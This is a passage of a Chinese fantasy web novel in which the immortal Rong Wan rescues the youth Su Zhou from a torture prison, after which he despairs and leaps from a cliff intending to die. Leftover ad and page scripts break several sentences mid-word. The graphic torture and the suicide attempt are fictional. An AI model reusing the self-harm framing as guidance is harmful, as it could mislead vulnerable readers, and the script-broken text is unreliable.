可夙昼从不是任人宰割的人。 从前白衣巷的孩童抢他的桂花糖,他从未讨饶。明明身形比别人矮了一大半,打起架来也从不手软。他小时年纪小,打架总是输的时候多,容晚隐去身形,帮过他好几次。 “仙上?”夙昼见她不说话,出声问道,“我答应你回上因界,也会听话,但我能做主的事,我想自己做主,可以吗?” 果然还是在装。 什么“我会听话”不过是假意逢迎,自己做主才是他最真实的想法。 “仙上?”夙昼轻咳了一声。 容晚一愣,忽而反应过来,道:“都可以。” 听不见系统的警报声,容晚答应得极快。 至于如何做主,夙昼一句也不曾说。 寂静之中,容晚转身,微微垂眸,声音极为清浅,“你走吧。” 云云峰上,常年积雪。夙昼不曾辟谷,不曾修炼仙身,冷到不行。 他没再问什么,转过身,眼神倏然变了,虽是浅浅的笑,却不再是温和的模样。 - 暮落将至时,云云峰纷纷扬扬落了场大雪。 与从前不同的是,向来人声鼎沸的云云峰,竟叫她一眼望不见人烟。 容晚正碾了雨后清茶,身侧的水壶正咕噜噜冒着热气,她心如止水,却不由得想起她真正的家。云云峰众仙没有饮茶的习惯,她独自一人在这里的年岁太久,整整一千五百年,怎么会不想家。 “仙上。” 正出神时,容晚听到碧落的声音。碧落提着裙裾从纷扬大雪中来,在庭前抖了抖伞上的雪,侧身进屋,面容上的神色却不大好,声音也是颤栗着的,“一刻前,首座于上因宫密提夙昼,哥哥冒着雪办的差事,人现下扣在了禁狱。” 容晚手一抖,搁下茶盏,素手理了下衣袍。两人入了上因宫,容晚脚步一换,却往另一个方向去。 “仙上,我们不去禁狱吗?怎么来了大殿?”碧落犹豫许久,却还是问出口。她自小跟着容晚,明白此时面若冷霜的容晚,心里是看重夙昼的。哥哥前脚刚走,她便急往望春山,可眼下容晚又似不着急一般。 一路上,容晚都没说话,碧落也没再问。两人年幼相识,如今悠悠岁月已过,碧落和她亲近,却也自知分寸。 大殿门前,容晚忽而出声,“去提禁狱的秘钥,把人带回去。” 话音未落,容晚提裙入了大殿。 容皓果真在这等着她。没想到容皓还是不曾信她。 虽说容晚是穿书,却是胎穿,实打实地在上因界长大。 出生时她第一眼便望见的是容皓,表兄妹间虽说有些生分,却总归是亲缘不可断。容皓大事小事上总是惯着容晚,直到他做了仙门首座,他们之间渐生隔阂。 原书里的兄妹俩感情并不好。 百年后,容皓于权力上达到顶峰,问鼎三界共主数十年,最终死于夙昼手下。而容皓的死亡却是书中的容晚一手促成的,其中缘由却不为人知。 《问魔》整篇故事都是以男主夙昼的视角展开的,比如容晚在上因界等待故事开始的一千五百年,书中不过短短几句话。如今故事走向和书中大不相同,由于系统的把控,关键事件点上没什么变化。 想来容皓应是要死于夙昼手下的,容晚其实有些不舍,毕竟是有些情分在的。 她抬眸望向高座的那人,少年时意气风发,立志要做仙门首座,肃清上因界,如今的他却不知有几分当年心性。 “哥哥。”容晚出声,“你不信我?” 容皓手中翻转着来时镜,其上术法他虽不可解,却识 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得容晚的灵气。从未出错的来时镜偏偏在此时出错,他怎能不多想。 并非是容皓不想多信容晚几分,而是事关重大,三灵混体必亡上因界。他不能赌。 “他姓夙。”容皓盯着她的神色,不想放过一丝一毫的破绽,沉声说,“这个理由还不够吗?” “名字我取的,以念夙州。”容晚素手一抬,上因剑刺破云霞而来,悬于容皓眼前。 容皓还未开口,容晚的声音轻飘飘落下来,“哥哥,容晚敬你重你,所以保你坐得稳仙门首座的位置。” 这话容晚说得并不过分。容晚自小天资极高,却没什么雄心壮志,日日被容皓拖着修炼,对外也落了个勤奋刻苦的名声。 当年仙门百家竞选仙门首座,噱头议论声都是落在她和衡游身上。那一日,容晚索性睡了个昏天黑地,又吞了几十颗安思丸,任凭容皓把她拖到了现场,也毫无作用。 对手剑风狠厉,眼见到落到她身上,容晚也毫无反应,反倒是衡游冲过来挡了一剑,两个人一起落了榜。 这些年容晚刻意放缓修炼的速度,却耐不住天赋异禀,虽说比原书里晚了几百年,仍旧坐到了第一上仙的位置。 故而她是有这个底气的。 容皓素来惯着她的脾气,如今却不打算再纵容她,冷声道,“晚晚,人你救不了,再说无亲无故,何必要救呢?” 这话说得晓之以理动之以情,容晚却没接这个话茬。 “哥哥,你知道我不愿意做上仙许久了。”容晚五指一张,上因剑落入她手中,锋芒剑气消散殆尽。 瞧见容皓僵住的面容,容晚轻笑道:“当然,我更不想做仙门首座。我有一个看中的徒弟,他想要不晴剑,我赠了他,他若想要上因剑,也不是不可以。” “哥哥。”容晚恭敬地将上因剑递呈给他,弯起唇,笑得极甜,“我不想要上因剑,你说好不好?” 容皓紧攥的手指骤然松开,却不想回答她。 他并不确定夙昼的真实身份时,不愿盲目杀人,以免容晚伤心。如今容晚护犊之意分外明显,夙昼一条贱命,不杀也罢。 可容皓极为生气,连他自己也不知在气什么,胸膛剧烈起伏,声音听不见一丝温情,“容晚,你为了他,要与我作对吗?” “不敢。”容晚抬眸望向他,眼前这个上因界最尊贵的青年眉目微皱,额间仙印起了灵力波动,他在生气,却也叫人看不出怒意。 “可惜啊,晚晚。”容皓哀叹道,“你还是把我想得太好了。” 容晚闻言一怔,怒意陡然生长,仙门首座的脸在这一刻变得陌生,他很少会笑了,深沉的眸盯着她看,容晚却再也读不懂他的情绪。 他说:“晚晚,他快要死了,你那个小仙侍也是。” 5. 上因非因 上因剑出鞘,剑锋萦绕着一层极浅的白光。 没有人知道,当年剑窟寻剑时,上因剑认的第一位主人是容晚。大概便是从这时起,容皓开始忌惮她七分,偏爱她三分。 “晚晚,他死了,人间界的事不会有人知道。”容皓握着剑自高位走下,他镂金衣裳绣着大片祥云,身形本就极高,长袍拖地,一直走到容晚身前。 “晚晚,你为什么护着他?”容皓修长的指尖覆上她的脸颊,冰凉的触感刺激她一颤。 容晚生得极为好看,明明为仙,却又有一种魅感,同落乌界的魅族相比,也并不逊色。 眼见指尖要触到嫣红的唇瓣,容皓眸光一敛,收手时,碰到了容晚的琉璃耳坠,摇晃间的光影折射在她如玉的脖颈上。 “够了。”容晚偏过头,冷声道,“早就不是小时候过家家的游戏了。” 并非容晚不想剁掉他的手,这个念头早在穿书而来的第一百年便萌生过,却又被扼杀在脑海中。 关键的剧情角色不能过早下线,关键的剧情点无法躲避。 诚然,容晚此时不想同他废话,盯着容皓的目光不过一瞬,身影将散时,寒凉的指尖攥住她的手腕。 那人低笑道:“我同你一起去,去看看他的死相,好不好看。” - 禁狱多妖魔,血腥之气弥漫。 容晚不喜杀人,这么多年中,真正死于她手下的仙魔凡人并无一个。 可就是这样,三界中人人皆知她的名号,称赞她捉拿无数罪仙罪魔,为三界除害。 其实禁狱的刑罚容晚并不陌生,她曾经来过数次,上一次,便是私下人间界十年,在寒潭受了百道天罚。 “怎么不进去?”容皓低声问。 “你说呢?” 诡异的阵法和机关遍布禁狱,虽说要不了容晚的命,却也困得住她。 而如今身为凡人的夙昼一刻都等不了。 容晚心里叫了几声系统,没得到回应。 “哥哥在上因界做了无数机关,我从外面强破禁狱,恐怕要杀了你。”容晚像小时那样拉着他的衣袖,偏头笑道,“还是哥哥快些带我进去。” 从前禁狱是无需秘钥的,只可惜衡游和容晚自小交好,竞选仙门首座时,他冲上竞台替容晚挡的那一剑,违反了仙律,不仅落榜,按律要在禁狱里关个二十年。 那时衡游倒是无所谓,反倒是容晚不乐意,日日摸进去禁狱,一天带一点东西便也给了他一个极具舒适的牢狱环境,却害得他要在寒潭里再关十年。 后来容皓知道这件事,不知找了什么法子,上因界各个关卡皆须秘钥通行。 不然容晚怎会乖乖地去大殿见容皓,还好声好气地同他说话。 他就是吃准了容晚不会杀他强夺秘钥。 “哥哥快点。”容晚的笑意极冷,“不然夙昼死了,我真的会杀了你。” “走了。”容皓心念一动,空无一物的荒原骤然乍现空灵阵印,他攥着容晚的手腕,拉着她入阵。 宽大袍袖上的金线摩擦着容晚的手背,细微的热让她不适,手腕一动,就听见容皓低声说,“你想要他死?晚晚,没有哥哥带路,你找不到的。” 察觉到他的手背覆上双眼,容晚强压体内的灵力暴动。 血腥潮湿的气息顺着鼻腔涌入,容晚沿途留下的痕迹被容皓置若无物。自行轮转、变化无数的机关,容晚记不住的。 而听觉在此时格外灵敏。 察觉到夙昼气息的一瞬,容晚挣开容皓,被他眼底的笑意气得胸口发闷,声音裹挟着浅薄的怒意落下来,“再敢随便碰我,我才不管你是不是我表兄,一样杀了你。” 诡道内阵印变幻,冷冽的寒气扑面而来,容晚单薄的衣裳随风而动。 “晚晚,你不认得路。”容皓侧目笑道。 容晚眼皮一垂,厌烦的目光被长睫遮挡住,她强召不晴剑,凌厉剑光冲破诡道,雪风冷雾卷席而来,半个禁狱冰霜凝结,简直是极寒之境。 眼下营救夙昼最短的距离,便是直系感召。 而容晚冲破的窟窿,如箭破云,打穿无数诡道和层层牢狱,其内关押的妖魔罪仙四散而逃。 一条笔直深幽的冰道乍现,浓重的寒气惊得禁狱守卫越级上报,数道传音奔入容皓识海,让本就受伤的容皓烦上加烦。 强破诡道对容皓的影响,相当于他和容晚大战一场,被压制着无力还手,硬抗了容晚百招。 【警报:第四次违规操作,剩余六次】 系统的警报响起,容晚一怔,却并不担忧。 一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 次违规操作换夙昼一命,不是大事。毕竟夙昼死了,世界结束,她也会死在这里。 “你居然真的想杀了我……”话未说完,容皓唇边溢出鲜血,薄唇轻轻一动,唇齿间血沫更甚。 “死不了。”容晚头也没回,“跑出去的东西,我会自己抓。” - 冰道的尽头是漆黑的牢笼,一个瘦弱的身形悬于冰刺之上。 少年垂着头,乌发散落在肩,身上穿的不再是鎏金素衣,而是北峰杂役的衣装,短襟窄袖,用的是最粗糙的麻布。 混和灵气的玄铁刺从他手腕脚背上贯穿而出,棱角状的三尺铁刺上附着细细密密的斜钩,挂着皮肉旋转,一刻也不会停下。 血迹蜿蜒而下淌了一地,容晚眉头一皱,他身上的玄铁钉是容皓的绝密机关,不可强行取出,否则夙昼元灵将碎,日后再也无法修行。 还是要去求容皓。 清浅干净的茶香在恶臭禁狱中甚是微弱,却被夙昼敏锐地捕捉到。 “姐姐。”夙昼垂着头,喉结微动,吞下满口血沫,抬起头笑道,“你来了。” 眼前的少年一抬头,锁骨处、颈间的伤痕密密麻麻地暴露于容晚眼前,她难以自控地吸了口凉气。 “别动。”容晚紧急喂了数十颗金丹给他。 衡游所炼制的金丹珍贵稀有,食之可重塑筋骨,医百疾,偏偏他又很小气。容晚同他竹马之交,一千多年也只攒下两小瓶,如今几乎全部喂给了夙昼。 金丹虽灵,并不止痛,容晚捏诀加速金丹的催化,极深的伤痕以肉眼可见的速度愈合,少年的气色渐渐红润。 指尖碰上夙昼的腕间时,容晚察觉他猛地一颤。夙昼经脉之中受损颇重,周身大穴全被封住,容皓已经断了他修行的可能。 “晚晚,我答应你,他可以活下来。”姗姗来迟的容皓不屑地瞥了一眼,冷声道,“但仅仅是活着。” “容皓。”容晚闭了下眼,竭力平稳着声音,“我真的想杀了你。” “我等着。”容皓一笑,消散在二人眼前。 久未出声的少年冷笑出声,他挣脱腕间足下的铁刺,鲜血喷溅到容晚如玉般白的裙角上。 少年一步步走向容晚,扯出温顺良善的笑容,“姐姐,你又是现在才来救我。” 6. 上因非因 血顺着手腕、指骨、指尖,一滴滴落在地上。 待夙昼走近容晚,他抬起手腕给她看,他眼神甚是委屈,仅看了容晚一眼,便飞速地垂下头。 好像在说“姐姐我真的好痛”。 忽然间,好多年时光似乎一晃而过,容晚似站在乌衣巷的榕树下,小夙昼睁着明亮的眼睛与她笑闹。 他小时皮肤白嫩,却总爱往榕树上爬,有一次爬到一半被树上的鸣蝉吓得不敢动。容晚起了兴子逗他,鼓励他跳下来,反正容晚总会接住他。 谁知道他磨磨蹭蹭不肯下来,一直磨蹭了快半个时辰。容晚耐不住性子抱他下来,小孩细细的手臂环着她的脖颈,软软的一团挂在她身上。 那时候的他,有一双委屈到要哭的眼睛,泪花盈在眼眶里,哭唧唧道,“姐姐,我真的好痛。” 明明隔了好多年,容晚却忽然想到这一幕。 禁狱里照明用的冰灯,在昏暗的光线里折射出五彩的光芒。 夙昼眼里映射着五彩的光。他在等她说话,无悲无喜的目光落在她脸上。 “我一知情,便立刻来了。”容晚解释说。 “真的吗?”夙昼垂着的眼眸忽然抬起,深暗的瞳孔里划过一道光。 等到容晚点头,夙昼忽然笑了,不是从前的冷厉感,也无一丝邪意。 这清澈又明朗的笑意,容晚望见了心头却有异样的感觉,她目光落在少年血迹斑驳的腕间,忽然问道:“我抱你回去吧。” 像小时候一样。 抱?怎么抱? 来不及仔细思考时,光影变换间,夙昼化为一个五六岁的小团子,原来的麻布衣裳大大咧咧地盖住了他的身子。 夙昼忽然看不见容晚的面庞了,他明明站在地面上,却才与容晚齐腰高。 眼前容晚腰间那块精致斐然的琉璃白玉,怜光二字刻于其上,他小时候在画册上见到过。 忽然被抱起,夙昼下意识地环住容晚的脖颈,想到自己满身血迹脏污时,却猛然松手,软软嫩嫩的声音,“脏。” “不会。”容晚轻拍着他的背,又从灵境中取了件大氅,把他裹得严严实实。 夙昼在清冽茶香的环绕下,放松了身体,乖乖地窝在她怀里。 离开禁狱时,容晚抱着一个奶团子,顺着破出的冰道闪身而出。 恍惚间听见几个仙官儿的感叹,“怎么又是一个大妖!” “这都多少个了?哎,又出来一个,白色流光,罪仙。” 闻言容晚轻声对夙昼说:“听到了吗?罪仙拐带的小朋友。我们俩也被算进通缉名册了。” 长久的沉默后—— 在踏入望春山的那一刻,夙昼下定了决心,坚定道:“我会变强。” 适逢雪后初晴,和煦的日光落在他脸上,少年的斗志在这一刻如旭日朝阳般升起。 “不急。”容晚看向来迎的碧落,问道:“衡游留住了吗?” “是。”碧落势要接过容晚怀中的小团子,却被她挡了回去。 “他伤的重,不易挪动。”容晚脚步很快,瞧见苗圃里的衡游时,语气中透出几分欣喜,“衡游,你快点看看他。” 蹲在苗圃里的男人便是衡游。他是落乌界中人,一袭镂银黑衫,腰侧挂着一把环柄直刀,以及一副放大镜。 走起路来,直刀与镜片相碰,叮当作响。 衡游的动作慢吞吞的,视线落在容晚苗圃里,手指虚虚地划了一大片。 “全送你。”容晚急切道:“治好他你搬空望春山都可以。” 衡游瞬时喜笑颜开,将留影珠塞进灵境里,笑道:“说话算话,不然打架。” 随后他接过容晚怀中的夙昼,看见内里的粗糙麻布,感叹了句,“看来北峰那些仙官真是听你的话,果然一点照顾都没给。” “废什么话。” 衡游环抱着夙昼,明显感到夙昼身子一僵,抬手拍了下他的臀部,“怎么?不愿意让我抱?那还有什么好医的?她抱着你直接等死好了。” 在容晚的冷厉目光下,衡游指尖按住夙昼的灵脉,仔细地探了又探,神色大变。 想到衡游向来嘴快,容晚惊觉他要说些什么时,为时已晚。 当着夙昼的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面,衡游道出了无比惨痛的真相。 “小朋友,你这灵脉全断,元灵尽碎,怕是穷途末路了。” - 后来的几日里,夙昼总是静默着,什么也不做。自从容晚带他回了望春山,他便再也没有出过屋子。 整日闷在屋子里并不好受,容晚担心他无聊,搜罗了许多新奇有趣的玩意儿,他却连碰也不层碰。 前些年他喜欢的话本、木偶,还有各类名剑,如今他连一分目光也不曾分出去。 虽然容晚不曾告诉他,衡游那日说的话已十分浅显。 夙昼明白自己再无修行的可能。无论修魔修仙皆是以元灵为媒介,而他被容皓生剜了元灵。 怎么还能有机会呢? 所谓的那句“我会变强”,不过是一个笑话。 夙昼再没同她说过一句话,腕间和脚背的伤痕也绝不让容晚看,更别说是碰或上药。 血淋淋的窟窿就这样留了下来。好在他如今被封了周身大穴,并不会痛。 禁狱里服下的金丹虽灵,却差了几味药,衡游几经传音试探,也没从容皓那里问出来。他成日里往望春山跑,丹炉、药田全都挪来了望春山。 就算容皓再迟钝也知道他救的是谁。 容晚又一次扣响夙昼的房门,尽管无人回应,她径直推门。 窗前的少年静坐着,他穿着人间界的素色长衫,胸襟前的系带松松垮垮地系着。 望春山大多是下雪的,极冷极寒,凡人之躯难捱。 故而容晚在屋内安置了数簇灵火,灯、盏、炉映得屋内一片火红。 “喝药吗?”容晚端着药碗过来。 夙昼转身背对着她,指尖紧扣着窗楞,他背光而立,遮住了容晚视线里的大半阳光。 知道他心里有怨,容晚便由着他。衡游来施针时,他极力挣扎,扎错过几次穴位。可偏偏施针时夙昼又得清醒着,容晚便也不勉强他了。 可服药时夙昼总是找个借口支开容晚,转头把药倒在容晚的花圃里,不过几日,浇死了几十株灵植。 他虽活着,却如同求死。 7. 上因非因 夙昼日日倒药的后果便是衡游再也不替他看病,容晚求药衡游更是一颗不给。 看诊多次,衡游也从未过问夙昼的身份。他未曾说能救,也未曾说不能救,只是撞见夙昼一次次倒药,心疼那些百年灵植、珍贵药材,以及容晚。 而容晚并不心疼这些身外之物。 夙昼随手浇死的灵植却被衡游一颗一颗保存好。他信誓旦旦地告诉容晚,灵植虽珍贵,却承不住精炼灵药的福泽,说不准过个百十年便能死而复生。 可容晚对此并无什么心思,她只是担心夙昼。《问魔》原剧情中,他来了上因界顺利拜入容晚门下,从未被容皓生剜元灵。 她日日照顾夙昼,少年会礼貌地同她道谢,也会温和地和碧落点头示意。 其实他很不好,容晚知道的。 少年人心性要强,夙昼又身负血海深仇,好不容易下定变强的决心,才许下承诺,却被当头一棒打得爬不起来。 但是会好的,他总会自己站起来的。来日问鼎三界的大反派绝不会自甘堕落。 他只是需要时间。 而容晚会等。 - 为了留住衡游,容晚答应了许多不愿之事,种灵植、晒药材、磨粉、炼丹通通是她最厌恶之事。 衡游本是随口一说,顺便试探下容晚在意那小孩的程度,却没想到她会同意。 同容晚相识一千五百年,她从不去上灵植、炼药一类的学堂。而学医的衡游学不完的时候,总是偷自家老爹剑冢里的剑送出去,容晚才不情不愿地帮忙。 他记忆里的容晚,绝不会为了求他,去做自己不情愿之事。 “容晚。” 苗圃旁,衡游摇着扇子,给蹲着种灵植的容晚扇风,时不时嘴碎两句,道,“你别救他了好不好?” 指尖沾着泥土的容晚并不想听,一抬手,几道泥痕挂在了衡游脸上。 “你不想种就直说。”衡游皱着眉抬头,抡起竹扇敲了下容晚,“起来,给我扇风。” 栽了两行灵植后,衡游也没听见容晚说话。抬头一看,容晚虽手里扇着扇子,眸光却总是落在苗圃后那扇紧闭的窗上。 她眼神里是浓重的歉意和心疼,却又挣扎不已。 “如果我救不了他,你会难过吗?”衡游日日配药,却配不出少的那几味。行医多年,却仍不知如何复原元灵。 “会吧。”容晚并不确定,自己是否会因夙昼的命运殂于中道而难过。但任务失败,她会难过至极。 衡游承诺道:“我会尽力医他。” “事在人为,我不会放弃。”容晚道,“容皓这么做,不过是逼我听话。说来,是我害了夙昼。” “不,是命。”衡游埋下最后一颗灵植,道,“但我们,不信命。” 可他们就是毫无办法。 偌大的上因界,无药可用。容晚求见多位仙长,各个都是闭门不见。容晚去求见容皓,次次被挡了出去。 上因宫周边诡道机关无数,她放倒守卫,硬闯之下人是进去了,却没见得到容皓。 而容皓连传音灵径也断掉了。 这一日,上因宫绚丽彩光似流星般散于三界。 仙门首座连发数道仙诏,宣告第一上仙容晚重疾卸任,追责强破诡道的白衣罪仙,悬赏逃逸三界的仙人妖魔,以及三灵混体亡于上因界。 三界哗然。 与之相随的是无数悬赏令,发往三界。 领取悬赏令的门槛极高,不是通缉对象太过强大,便是领取时限制修行境界。偏偏这一次,逃逸而出的仙人妖魔没有一个平庸之辈。 算来算去,有资格的不过几位上仙,偏偏他们受了容皓密诏,全都告假,这件事便落在容晚一人身上。 事急从权,容晚不日便要动身,可夙昼不能离开她。 考虑到夙昼的伤势,她打包望春山所有的灵植种子和药材,去求衡游与她同行。 衡游同意了,条件是容晚答应送给他望春山。 容晚一如往常地为夙昼送药。 天色已晚,屋里门窗紧闭,永不熄灭的灵火无休止地跳动。 雪飞扬而下,容晚一袭素色衣衫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。上因界衣衫本应是鎏金形制,容晚不喜金饰,衣裳自然而然是干净的素色或浅彩色,同人间界的衣裳形制极为相似。 故而容晚时常被误认为人间界飞升的上仙。 一恍惚,碧落望见雪中撑伞而来的容晚,俯身行了一礼,接过容晚手中落雪的伞。 她的仙上曾不顾仙律私下人间界,比上因界上仙多了几分人间烟火气。 “他昨夜睡的好吗?”容晚问道。 “仙上,我不确定。”碧落确实是不确定,自从容晚带回夙昼,碧落便全权照顾他。 少年心性坚韧又倔强,不愿再活,偏偏求死不能。容晚先前喂给他的无数金丹,给予他不死的身躯。 如今连求死也无法做主。 他不愿意喝药。 其实容晚逼过他的。 第一次发现夙昼倒药,容晚指尖蜷了一下,捏诀放倒了夜夜不睡的夙昼。她和衡游忙活许久,药浴、强喂金丹、上药治伤、重塑筋骨、洗髓筑身……齐齐来了一遍。 当时容晚想,哪怕只能强迫这一次,也是好的。夙昼再也无法死在他自己手里。 果不其然,夙昼第二日醒来,一双如狼狠厉的眼睛盯着他,像是久不见血的恶狼即将撕咬猎物,道,“姐姐,我想活的时候你不救我,我如今想死,你却要救我。” 跳动的灵火映在夙昼脸上,容晚在他黝黑的瞳孔中望见一抹白,是她自己的倒影。 容晚想说是命,动了动眼红的唇瓣,贝齿轻咬了一下,却什么也没说。 这是夙昼作为书中反派的命。 少年时满门被屠,上因界人人喊打,落乌界恐惧他却也想杀他。 仔仔细细算来,夙昼在《问魔》中唯一的温情便来自于他在上因界的白月光师尊——容晚。 “夙昼,我对你好吗?”容晚的眸光落在他眼睛里,夙昼偏过头不想回答。 下一瞬—— 温热的手指落在夙昼颈间,容晚用力温和却不容他闪躲,逼着夙昼直视她的眼睛。 “你觉得,我在逼你活着吗?” 8. 上因非因 夙昼喉结动了动。 他皮肤白皙,不晴剑留下的微红伤痕,比起那些深可见骨的伤痕,并不显眼。 这是容晚落下的伤痕。她下意识地望向那里,细细的一道红痕落在夙昼喉结下方,因他呼吸起伏而动,像一道红线。 “不知道。”夙昼想躲过容晚的视线。她温热的指尖灼烫到他,却又像簇灵火般让他不舍得躲开。 “行。”容晚松开他,端起白瓷玉盏的药碗,递给夙昼,道,“那就听话。我说过的,你的命属于我。” 夙昼沉默着避开那道视线,接过那碗药,指尖紧攥着白玉汤勺,碗里的药汤被搅了又搅。 最终仍然是一口未喝。 - “仙上。”碧落望着愣神的容晚,提醒道,“药将凉了。” “不送了。”容晚端起那碗微凉的汤药,手一抬,药汤滴滴答答地全倒了出去,倒在那片因日日倒药吸取灵气,土质颜色已近黝黑的苗圃里。 “他不想喝,便不用喝了。” 倒过药后,容晚没去敲门。她提着衣裙,踏雪敲夙昼的窗棂。 三声轻叩,金丝紫檀的窗棂被人推开。 一只冷白修长的手落入容晚视线。 窗开到一半,便骤然停住。 夙昼闻到那股沁人心脾的茶香,他不知如何应对容晚,便收回支起窗的手。 透过仅有的缝隙,夙昼看到容晚的细腰,素白银线密织的腰带,系住她身上层层叠叠随雪风而动的衣裳,乌发披散在身后,沾了正下的雪。 她撑乌骨竹伞的素手,骨节分明,却又白嫩,不像常年握剑之人。 “夙昼,我有话问你。” 等不到夙昼的动作,容晚微微皱眉,她不想懂少年人的扭捏,纤白玉手一抬,窗户骤然打开。 雪风冷雾一瞬间冲进灵火遍布的屋内。 望着容晚平静的眼神,夙昼忽然有些冷,却更加慌乱,他动了动唇,道,“姐姐。” “想好了吗?”容晚问。 “什么?”夙昼不明所以。上次见面,她并未问过什么。电光火石之间,他忽然明白,她在问他“死还是活,想好了吗”。 指尖下意识扣住极为坚硬的窗楞,雪飘落在他的手背上,转瞬化水。 他如今废人一个,修仙无能,修魔无门。尽管不能死于自己之手,却偏偏随便一个仙魔都能杀他。 还活着做什么? 容晚瞧见他眼神的落寞,片刻挣扎后,又是求死的坚定。 罢了,前路尚远,他想如何,便如何。 “你若想好,我再不救你。”容晚指尖一动,合上的窗户阻碍两人的视线。她撑着伞不再回头,身形远去。 隔着朦胧的窗户,夙昼瞧见她模糊的身影,直到再也看不见。 手背上落的那片雪沫将干,夙昼指尖按了上去,摩挲间传来微微湿润的感觉。 下一瞬,雪沫被体温蒸干,似乎从未落到他手上。 夙昼眼里一片雾气,他视线落在手边的不晴剑上…… 有些东西,从不会真正属于他。 谁都会放弃他的。 - 夜深时分,望春山万籁俱静。 自从那日容晚见过夙昼后,便撤去护山灵阵对他的限制,他既能自由出入,想做的事便能做。 哪怕是杀了他自己。 “仙上,他走了。”碧落手中拿着不晴剑,又替容晚撑着挡雪的伞。她自小在上因界长大,从仰望容晚到来到她身边,付出极多。 故而她只觉得夙昼不知好歹,仙上连不晴剑都赠了出去,还答应衡游上仙一堆条件。 全都是为了他。 容晚心中有些异样,却说不上缘由。她从未竭尽全力地讨好过一个人,唯独对夙昼,一次次放低底线。 而眼下这份讨好似乎没有任何用处。 白月光? 满足他的一切要求吗?容晚如此做,却并不觉得畅快,反倒是心中生着闷气。夙昼的路比世间人人都要艰难,如今少年心性想要放弃,容晚可以理解,却不想如他的愿。 只是—— 现在他若死了,容晚便回不去家。 心绪平稳不少的容晚轻呼了口气,在飞雪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中是浅浅的热气。她指尖微微蜷了一下,召出夙昼药浴时埋下的灵阵。 流光变幻,漆黑的雾气在眼前织就一番广阔的图景—— 黑云阵阵,几道闪电劈进暗黑的丛林,惊得兽鸟四窜而逃。 少年一步一步地往山间去。 “他快到落乌界了。”碧落惊道,“仙上你真的不去拦着他吗?” “他想死,我就如他所愿。”容晚冷玉般的面容上无悲无喜,语气中却有些怜惜,道,“可惜偏偏不能叫他死。” 容晚并不是有耐心的人,她的喜好乐趣变化极快,哪怕是极喜欢的事物,只要无聊或不耐烦,说扔就扔。 可惜夙昼是个人,扔不得。 “仙上,他怎么会认识路呢?”碧落问道。 夙昼正以最短的路线去往上因界与落乌界的交界处。一路上密林极繁,常常不见天日夜月,寻常弟子很难不走错路。 “他很聪明。”容晚并不意外。夙昼从前小时,常来她在乌衣巷的住处玩耍,她书架上的画册书籍全被他翻过一遍。他记忆力好,却不爱读书。容晚是偶然知道的。 那时候夙昼天天逃学,他没什么朋友,时常窝在她那里翻书玩闹。直到一日,被夫子告状到他爹那里,夙家家主拿着家鞭上门,大骂夙昼不思进取,连《大学》都背不下来。 劝架的容晚差点被抽一鞭子。 眼见夙昼油盐不进,他爹便把矛头冲向容晚,话里话外也算不失礼数,却用文人的法子狠狠贬了容晚一通。 心大的夙昼却气得眼睛通红,他跪在夙家家主面前一字不漏地背完《大学》。 在场的夙家人皆是一怔,此后再未管束过他。 夙昼小时候在容晚身旁看过的三界疆域册,他不记得,却得背过前些天向碧落求来的那一本。 他当然知道路。 而上因界与落乌界交界,两界地势差异,形成一处极为陡峭的断崖,其间涡流极为复杂,灵力撕扯足以杀他。 少年拭去额间的汗,他静立于断崖边上,脚下便是万丈深渊。 他毫无求生之意,飞身一跃。 9. 上因非因 少年坠崖,像一只折翼的墨色蝴蝶,转瞬间落入茫茫黑暗之中。 苍翠虬枝断裂之声格外刺耳。 “嘭——” 透过黯淡的月光,容晚望见树林阴翳之下的夙昼,细碎的光影落在他身上。 身下是一大滩泛着金光的乌红血渍。 【警报:系统作出第五次违规通报,剩余五次】 警告声刺耳,容晚的细柳长眉微皱,不满系统的通报,“是他自己要死。” 系统:“……” 何况跳崖而已,夙昼还是死不了。 他熟读百书,知道一切碎掉不死之身的方法,却唯独不了解他的命。 反派光环,让他不会死于这处断崖,而是死于注定的命运。 所以—— 夙昼不明白,自己为什么没有死。 身体里的血顺着伤口四散而流,他连动动手指都费劲,却就是无法死去。 被放大的感官让他听见树叶被风吹动,群鸟长鸣。他看见细碎的金色闪光,像从前在野草从中看见的漫天萤火。 总会死去的,夙昼想。 因为唯一会救他的人不再会救他。 - 暗崖密林里的风诡异而冷,却比望春山的晚风少些雪沫和冷雾。 “碧落,你是凡人升仙,初来望春山时会冷吗?”容晚微垂着眸,长睫落雪,雪又化水,随着眼睫颤动滴入眼睛。 她忽然有些想哭。 “会有一点点。”碧落见她眼眶微湿,有些不明所以,却还是认真道:“望春山常年落雪,不曾有夏日,我好久才习惯呢。” 会冷。 夙昼会冷。 容晚眼前忽然浮现夙昼的身影,他总是衣着单薄,却不曾说过冷。 连容晚置办屋内灵火时,夙昼微微抬了下眼皮,哪怕身上着的是单薄长衫,仍然说不冷。 他明言拒绝过她,也无声拒绝过她很多次。 不愿拜师,不想喝药,不想活着。 顺着他的事情少之又少。 “那好像,我对他也不够好。”容晚看向空中浮现的图景,仰躺在地的少年,连呼吸都是微弱的。 脑后刺目的鲜血宛如利剑刺得容晚心口一痛。 “不会啊,仙上。”碧落确实不大明白容晚的话。碧落在望春山待过千年,从未见过有谁像夙昼一般处处得容晚优待。 大到强破诡道、重伤仙门首座,小到药浴、送药,容晚从未假手于人。 这还不够好吗? 正想答话,容晚忽而听到妖兽长啸,声音的来源是夙昼所处之境。 金戈铁马之声随后而来,群鸟四散,断崖密林间妖兽魔兽仓皇出逃,一时间幽暗丛林中亮起星星点点的火光。 由点连片,向来幽暗的密林如同白昼。 “仙上,怎么这么亮?”碧落问。 “他撞上了王城巡猎。”容晚心生异样,指尖微微颤抖起来,她强压心中的担忧,思索着破局之法。 本想让夙昼出去走走,穷凶极恶见得多了,总会有想活下去的时候。 哪知时不待人,偏偏就这样巧。 